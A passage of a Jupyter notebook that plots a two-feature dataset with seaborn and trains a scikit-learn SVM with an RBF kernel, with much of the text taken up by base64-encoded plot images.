zWuXxbA7kdXva9tGLQ20E38OZzZciyBk0DZFnDXLaMq3OF\nSpeFglRtz2REN2O2l9BFvc3wS8Q7qOcVdshD5hNOlQx77SkIqgs9rLQKTTEMgwfv3NbWU+B2o2Qn\nxpjVXJggjy+r8gvHLhQBxExfZ7VC1qu8KTuhWCvoBp5RW6ZSWUU2L0FRVKxImV+jIDX3dotORL1r\n8VPE28p5HZpuPeeJZsgg84GgljJbgVzVzuJESX8YGiVbNbSCPL6s3qtsUUG8hTMtaMaG0wa9buCl\nk1EUSjJKZaXueLYoYUU6hnSyOVypE4Qx6yZWZSNePj+OxVIWeamIslJGPBLDxoF1uHXDzb7qfVH3\nAHegq+YDYc7D8qOQoJdxoqQ/DMKZVg2tII8vq/cqneAgGVRA6gTN2HDaoNcNPIYBVg0mkS1IyBYq\nXjGOYzGYjuET912Ln7902vQzgjBm3aTdGvDi2VdxbPpk9TV8NAE+WrkP6XgqEEYPiY07DxlkPuBE\nKbNfKslBdaGHmW5DU7rn5sjx5kU1KMKZVg2toI+vaIStXs9Xjl7CzEKx6hHSjbLrNiRw5HxzMYZO\n0IwNpw36WgOPYYAMH61L3l89nMLduzbinTOztjzDXvZ2dfu72q0B/3zyBWhGuiYI/qad6Bzuscce\n8/scLHHp0qXH1q1bZ/R7GP0+yDx7/HmomvkDW1Il3Lttj+lx3d396sQh5KUCVE1FXirg+PRpnJo7\nj5vX3ACWdadeg2VZ3LzmBiSiCcwXFyGpElbyw7gmtgGfvr25OTThPhzLYJcwipmpy2AiPCRZxcgg\njw/s3oSH77k2EPIB6zNrcGruvGHocuvQJnz0uvvBsqzp+Lp76+346HX3WxpfsiLjxXOv4um3nsGz\nx5/HG5eOQlZlrM+s6Xpe6Anrrxy9hFxBgqpqyBUkiGdncXJiHruEUSj5KeRV3jDUt33DIB6+51pw\nrHlCu9dsGM3g5MR81+crySr2vXEBb4hXcWEyi1xRAjQgFmXr+m5+YPcmbN8wiF3CKJKJCOYWy23H\nrJXrXnuO3awLdr+rE9qtAVdz00gZtAXTmS8u4o5N3mxOOp1PPqzNf+bll7kBrZ4+0G2ejN8hTyNX\n9fj4OBljPhKNsNi5NYWxsWB6KO3knHQTCnE7P9NKReIAxziqLO+2t8aJsHmtdIamAbEoh1JZwVy2\njEJZXuo4wdR5v+x4hr0U5fXiu9qtAS0i3gC8K24Jc75zGKEr6QPd5skEVb2ZIFrhRc6J25sVKxWJ\n99/IOlYh6VW7pm7Pt9aIacwdK0sqWJbFg3du69iIdLoS1O/varcGrE6NQGthlnlV3OL35r/fIIPM\nB7rNkwmyNABhjpc5MH7idH6jnc9ze7NirSLRPNRkFy89Q93QaMQ05o6NDvFdnafb0i5ef1e7NWDH\nyq345xMvmL7fbNPu9Nwzm08aNGTLeXz/8I/xy5P7Pcth7nXoyvlAtyXDQZYGIIxx2tNhZNytThVx\n007VV+PO6RCH3c9ze7PitcSIl56hbnDbiPHyunvxXe3WAAAQp0/Z2rS3myufufkTODhxqKWx1mjQ\nTSxcRjKaQDrGg0Elb06DhqncDEqKBJZhICkShTEdgq6aT3QTvgmyNABhjJOeDjPj7vSFPHI/POxr\nH0CnQxx2P8/tzYq1isTJrr6jFi89Q93gthHjpbSLV9/Vbg2wu2lvNVdOz57DX+z/Bory8ngy0j1r\nNOg0TcV8cRFFqYiR1DAYMMiW8ygpEgCAY+qfMxTG7A4yyEKIG9IAfslo9AtOejqCHMZyOmRo9/Pc\n2KzUeiNnFopYyElgoFX7MuroCeuHDzlnkIVB9Bdw34hxQkA5iN/VCrub9lZzJVvOYzI7hdXpVU3H\naluXNa4pfJTHfGkRJUVCtpxHJpZCvpyvO94I5TB3Dq20IcRplWSqpHEfJz0dQQ5jOR0ytPt5Tm9W\njLyRGT66lLAuY3ggjuGBZMcVlO0Ig+gv4L4R40QlaBC/y0lazZV8OQ+lhczGaxOHDYsI0jEeRbmI\nkiIhXy4gE0tBXvqcOBdF2kCag3KYO4dW2ZDiZMUaVdK4TyeeDrMigJmF1sabn2Esp0OGdj/P6c2K\nkTdST1gHgA/t2eqq8RsUb0073DBizMb/lz855rpR5FUfUSdpNVdkTUWEMb9mc8V5w5pOhmEwwg8j\nW86jKBcR46JIRZPgGK6SV8Y067FRDnPnkEFGkIyGB9j1dLQqAljIScjwURg8CwH4G8ZyOmTYyec5\nuVnx2xsZJm+Nk0aMV3IfvUSruRJhWMPwos5gYgU0aIYGHcMwyMRT2D68GV96/+ex78wBymF2CTLI\nCFthIbNcs4QWHOXxIGLX09EqT4yBhmxBqmtHU4ufYSynQ4Z+t1IKQlJ9GL013RLkPMmg0mqubB7c\niIJUMH2vbkT1QnuzMEMGWZ/QKmnfalioVa5ZWklil7KLcs1MsOvpaOWZSfNRZAuy4TG/w1hOhwyd\n/jy7hCWpvtdoHP+ahrom5d/9+dsAEDgvoZ+0miu3rt+JJ998uq0R9dakiKOT7yJfzlfDnHyMx42j\nQvU1+vfsP3sQz53Yh8ncFABgNDUCYeU27/7gHoRWzz6gXdL+rrU3WhIhbJVrNlmaplyzNtjxdLTy\nzDAMg+GBOD60Z2udcTe6kcWnPuZ/KMdpRX4vFP7NCEtSfa9RO/41Dbg6V0CprFR/lytIFL40oNVc\nabexkRW5kke2lExWjXloMEz4F6dPQYOGVamVSy/T8IsT/4Jj0yerMhqEPcgg6wPaJe1ft3I7tgxt\nbLt7olwz72jnmRkeSFY9Ybocw8xsES8emiCvgYM4mVTfL50anKB2/GcLUp0xBgAcVzEXKHxpnXYb\nm5fPj+Pc3AQy8RQy8VTdsXNzE3UbbiuFYCkyL2xDV6wPaGdIvX7pKP797Y+2DQtRyyZrOLHwtvPM\n3HL9aFPScy4vh8prEAbtO6eS6ilJ3R614z9bkJqOpxPL+ZNOFFa4aSyHYZwD9jbcVl57d2KXY+fW\nLwRnNBCuYcWQMto9NT5IJnPTiFC5c0ucWnjbeWYAJpBJz1YXnzBp3zmRVE9J6vaoHf+KUq+fFY+x\nSNcUtHRbWOGmsRymcW5nw23ptZReaRvakvUBg4mBNsebDSn9QfLMu7/G1dw0JEVChOUwX1rEVH4G\nmtacU0DlztYWXivonpmH7tqO1cMpxKIcVg+n8NBd2/HFj9+EV9+53PL9B462Pu4GRmNGX3y++fpT\nkJXlQgQrIY9ewop8BrFM7fhPJSsSL5EIg8F0DKsGk3Ubwm4LK5yas0aEaZzbWSc6WVOI9pBB1gfs\nXr+z5XEjQ8roQZKO8Yhz0WobjVpWx1dSuTOcXXh1z8xXPr0bX/uDO/GVT+/GvWMbEY2wgZBjaMTK\n4iMrMvadOYC/P/xjTCxcwZXsVSyWck0G/msTh704Zc8I4v0KOvr4//SHb8CG0TTWrkwhk4o1eee7\nLaxw01i2EtoLCnbWiU7WFKI9wfCVEq7SiW6M0YOEAYORVEW1WVEVxLhoNdcsMcUExvXuJ14tvK2S\n/jVNgySr+Op3D3qaPP7qxCFo0JAt55vK5tMxHgcvvFkdh3mpAA0aJFXBfGkRRbmIEX64uti6kY/o\nZ1J9v8hnuHGN3e5W4OacDVPerZ11wsprD023NkaJZmgF7QM60XIye5AwYJCJpRDjovi/P/DH1d+P\nTwfH9e4nXi28Zkn/mqbh6lwByXi06nXyKnl8tjCPqdwMSspyErakKZgvLqIoFVGQSuCjlb8/wrCQ\ntOXKuWrz4qXqLqdDHn4n1feDfIZb19jtbgVuzlmnW4m5iZ11wm99wF6FrlqfYFfLKUwPkiDh1cJr\n5jXI5iUADNLJZhV/t5PHFVWpM8ZqKSkS1FK2apDxMR7zxcW61+SlZYPM6ZBHY55QrdDohcksTl+c\nw4N3bnfNWxaWnpTd4GbhgpvdCtycs063EnMbO+tE42v1gp6/euXbmCsuQCsoyJ2RyUCzAeWQEYZQ\njkBn7N25HtvWDxoec3LhNUr6H0pFMJCOLyU9G7/Pz+RxWV32iOn5iLUoWqWazo32K7V5QrrQ6Nxi\nCbKsQtOAi1M5/GTfSfzNDw9DktUWn9QZ7Yo0ekHyIqyFC27O2T0bx7BlyNiIDFKbIT238/GXnsCf\n/urrePylJ7DvzIG6Qpx2728s6FmQs4YFPYQ5ZLYShlC/ss6oDa/85vAlnL2ygFJZQTzGYT5bdlS4\ntdFrMD4+jh+8nK8LBTbSbQ5bK1kLjuWqRR+NxLloXeJ+bT5ivlyAoingo0k8sOM+V3bUtXlCRkKj\niqJB0zQcencS/9t/3o8IxzqeY9brPSnDWrjgZkg0SKE9s7lr1FbJrjSHlYIeEg1vDxlkhCFBepCE\njWiErYao+HgEfLxyrabm3M9ZcjMfpp2m0opEBtJSLlheykPRVHAMCz5aSepnWbbJKMvEUsjEKmHK\nB3bc59pDu1H5vRGW1dvzqMgWZaxdyZNwq03CXLjgprHsZ+svnVZz99enXkJBLoJBs1vdqjFFXVyc\ngVZVwpQgPEjCil9CoG7kw+g762fffR4XFi4jwi4bWXpV5JnZ89g+vBnT+VnD1isA8Fvb78ax6ZO+\neF1rr0uj0CgARFgWpbJqeJyEW63RD4ULYaWVB+vs3AXwMb66MWrEijEVpmrSIEMGGVElLC0+woCV\nfBo3Fnink8drd9ZXsldbSlXMFxdb9kTdu3k39m7e7YvXtfa6cBwLuSZPLB5joSjLnjuOa/aEuXW/\neol+KFywg1fPUyvf08qDJasq8uWCqUFmxZiiIjBnoFWWABCuFh9hwK98GqfzYWp31rJW7zlqlKpY\nKC3iD+/4bFuDyw+va+11+en+Uzh/ZREcxyCdiCLNRzFxNVd9rVGFalDzn4KE2/IUYcKr56nV72nl\nwYqwLJQWeadWjKmwVZMGFVphCQCUlOk0fubTOJkPU7uzbtQOA+qlKgYTKwId5tavy96d6/GNpw/h\nyImryBYlzOfKkGQVDAMk4xFDgyzI+U9BotcLF6zi1fPU6ve08mDxUR55qWD6HVaMKSoCc4b+2bIQ\nLQlTi48wcPuNa1seD0s+Te3Omo/xTceVGq9Z6HbBDAMsJTJHOLb6b6C5T2tY7hcRDLx6nlr9nlYy\nRukYj82DxuFkq8aUXgT2wI77MJoaQYyLYkUkgwd23IfP7vpdiq5YhK4SAYCSMp2mV/JpanfW6RiP\nolSsk7XgmMqeLky74BcPTeDMpXlk+CgyfMUbpmuTlcoKsnkJmVSs+vow3S8iGHj1PLX6Pa08WNuG\nN+PTN/8rHJw41FVuZ6N3fHx8HGNbwvFMCApkkPUgnSSTUlKms/RKPk1tboiRdtia9Cg+tOPeUBV+\nGBVcMAywajCJbEGCrKgVod0Q3i8iGHj1PLX6PVZkjIKaatBPhOMJSlim02RSSsp0nl7Ip2ncWddq\nh20d2hTKcIRZwQXDABk+iliUw9f+4E6Pz4roJbx6ntr5HjK6gg9t+3oMK0meRoSlxQfhLUa5IaOp\nkVDnhgwNxFsfpwR+oku8ep7Sc7u3cO1pKggCC+AbAHYCKAH4nCiKJwxe9wSAGVEUv+LWufQTnSom\nkzI/YUav7axJwJRwG6+ep/Tc7i3cvFsfA5AQRfEOQRBuB/A4gI/WvkAQhC8CeC+AF1w8j76im2TS\nXlt4CcKIXim4IIKNV89Tem73Dm6GLPcC+AUAiKL4CoBbag8KgrAHwG0A/tbFc+g7BhMDbY5Tcj7R\n3+gFFw/dtR2rh1OIRTmsHk7hobu244sfp56VBEH4A1Pb7NdJBEH4JoB/FEXx2aWfzwHYJoqiLAjC\nWgBPAvg4gN8BcF27kOX4+Lg7J9pjvLV4HK/NvWV6/JbB9+A9mWs9PCOCIAiCcJexsbHm7ughw82Q\n5QKATM3PrCiK8tK/fxvACIBnAKwBwAuCcEwUxSdbfeDYWHOC4vj4uOHv+5Wdyk7kX5dNFZMf2fUJ\nV/IK6D74D92DYED3wX/oHvgP3QP7uGmQvQTgQQD/sJRDdkQ/IIriXwP4awAQBOEzqHjInnTxXPoG\nSvIkCIIgiPDh5ur8IwD3C4LwMio9SR4VBOERAGlRFJ9w8Xv7HkryJAiCIIhw4ZpBJoqiCuD3G359\nzOB1T7p1DgRBEARBEGGAyokIgiAIgiB8hgwygiAIgiAInyGDjCAIgiAIwmfIICMIgiAIgvAZMsgI\ngiAIgiB8hgwygiAIgiAInyGDjCAIgiAIwmfIICMIgiAIgvAZMsgIgiAIgiB8hgwygiAIgiAInyGD\njCAIgiAIwmfIICMIgiAIgvAZMsgIgiAIgiB8hgwygiAIgiAInyGDjCAIgiAIwmfIICMIgiAIgvAZ\nMsgIgiAIgiB8hgwygiAIgiAInyGDjCAIgiAIwmfIICMIgiAIgvAZRtM0v8/BEuPj4+E4UYIgCIIg\nPGdsbIzx+xy6ITQGGUEQBEEQRK9CIUuCIAiCIAifIYOMIAiCIAjCZ8ggIwiCIAiC8BkyyAiCIAiC\nIHyGDDKCIAiCIAifIYOMIAiCIAjCZyJ+n4BVBEFgAXwDwE4AJQCfE0XxRM3xBwH8nwBkAN8WRfHv\nfDnRHsbCPfgfAfwhKvfgCID/SRRF1Y9z7WXa3Yea1z0BYEYUxa94fIo9j4W5sBvAfwTAALgM4F+L\nolj041x7FQv34JMAvgxAQWVN+K++nGifIAjCbQC+JoriPQ2/p7XZImHykH0MQEIUxTsAfAXA4/oB\nQRCiAP5fAB8EcDeALwiCsNqXs+xtWt2DJID/B8C9oii+H8AKAB/x5Sx7H9P7oCMIwhcBvNfrE+sj\nWs0FBsDfAXhUFMW9AH4BYLMvZ9nbtJsHXwfwPwB4P4AvC4Iw5PH59Q2CIPwJgG8CSDT8ntZmG4TJ\nINMfbBBF8RUAt9Qcux7ACVEUZ0VRLAN4EcBd3p9iz9PqHpQA7BFFMb/0cwQAeQTcodV9gCAIewDc\nBuBvvT+1vqHVPdgBYBrAHwmC8AKAYVEURe9PsedpOQ8AHEZlY5hAxVNJKujucRLAwwa/p7XZBmEy\nyAYAzNf8rAiCEDE5tojKRCScxfQeiKKoiqJ4BQAEQfhfAKQB/NL7U+wLTO+DIAhrAfxfAP7AjxPr\nI1o9j0YA7AHwn1Hx0HxAEIT7PD6/fqDVPQCAowDGAbwF4GeiKM55eXL9hCiK/whAMjhEa7MNwmSQ\nLQDI1PzMiqIomxzLAKDJ5zyt7gEEQWAFQfg6gPsB/CtRFGlH6g6t7sNvo2IQPINKGOcRQRA+4+3p\n9QWt7sE0Kl6Bd0RRlFDx4jR6b4juMb0HgiDcBODDALYC2AJgVBCE3/b8DAlam20QJoPsJQAPAIAg\nCLejkjSu8w6AawVBGBYEIYaKS/Q33p9iz9PqHgCVEFkCwMdqQpeE85jeB1EU/1oUxbGlxNq/APB9\nURSf9OMke5xWc+EUgLQgCNcs/XwnKl4awlla3YN5AAUABVEUFQCTACiHzHtobbZBaJqL11TU3IRK\nPsCjAHYBSIui+ERNJQeLSiXHf/HtZHuUVvcAwGtL/78fy7kafyWK4o98ONWept1cqHndZwBcR1WW\nzmPheXQfKgYxA+BlURT/V99OtkexcA9+H8C/BVBGJcfp80t5TIQLCIKwBcBToijeLgjCI6C12Tah\nMcgIgiAIgiB6lTCFLAmCIAiCIHoSMsgIgiAIgiB8hgwygiAIgiAInyGDjCAIgiAIwmfIICMIgiAI\ngvAZMsgIgggkgiB8WxCEdwVBsFwKLgjCrYIgfM3N8yIIgnCDSPuXEARB+MJnUGkebUc76gYA1LyY\nIIjQQTpkBEEEDkEQfgLgQVQU12OiKPKCIDwJYCWAawD8CYC7UWnTpQD4JwB/hUpD6TSAx0VR/HMf\nTp0gCKIjKGRJEETgEEXxoaV/3oxK2xudaVEUr0fF8PqQKIo7UWnkfS2AIiqK4D8hY4wgiLBBBhlB\nEGHiwNJ/JwAUBEF4CcAfAfg/RFEs+ndaBEEQ3UEGGUEQYaIAAKIoygBuA/CnqIQxfyMIwg4/T4wg\nCKIbyCAjCCJ0CILwPgAvANgniuIfA3gbgABABhUrEQQRQsggIwgidIii+AaA3wA4KgjC6wDOAHgW\nwEEAtwuC8Bc+nh5BEIRtqMqSIAiCIAjCZ8hDRhAEQRAE4TNkkBEEQRAEQfgMGWQEQRAEQRA+QwYZ\nQRAEQRCEz5BBRhAEQRAE4TNkkBEEQRAEQfgMGWQEQRAEQRA+8/8D2OVOfvV1muQAAAAASUVORK5C\nYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0xe58eb842b0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "sns.lmplot(\"first\", \"second\", data=df, hue=\"out\", fit_reg=False, size= 8, scatter_kws={'s':80})" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Train The Model" ] }, { "cell_type": "code", "execution_count": 85, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "SVC(C=10, cache_size=200, class_weight=None, coef0=0.0,\n", " decision_function_shape=None, degree=3, gamma=18, kernel='rbf',\n", " max_iter=-1, probability=False, random_state=None, shrinking=True,\n", " tol=0.001, verbose=False)" ] }, "execution_count": 85, "metadata": {}, "output_type": "execute_result" } ], "source": [ "sigma = 3\n", "gamma = 2 * ( sigma ** 2 )\n", "clf = svm.SVC(C=10, kernel='rbf', gamma=gamma)\n", "clf.fit(X, y)" ] }, { "cell_type": "code", "execution_count": 86, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nEYv9ta3AjcU2Ydu27iI3Bp1t27qZ2wIvM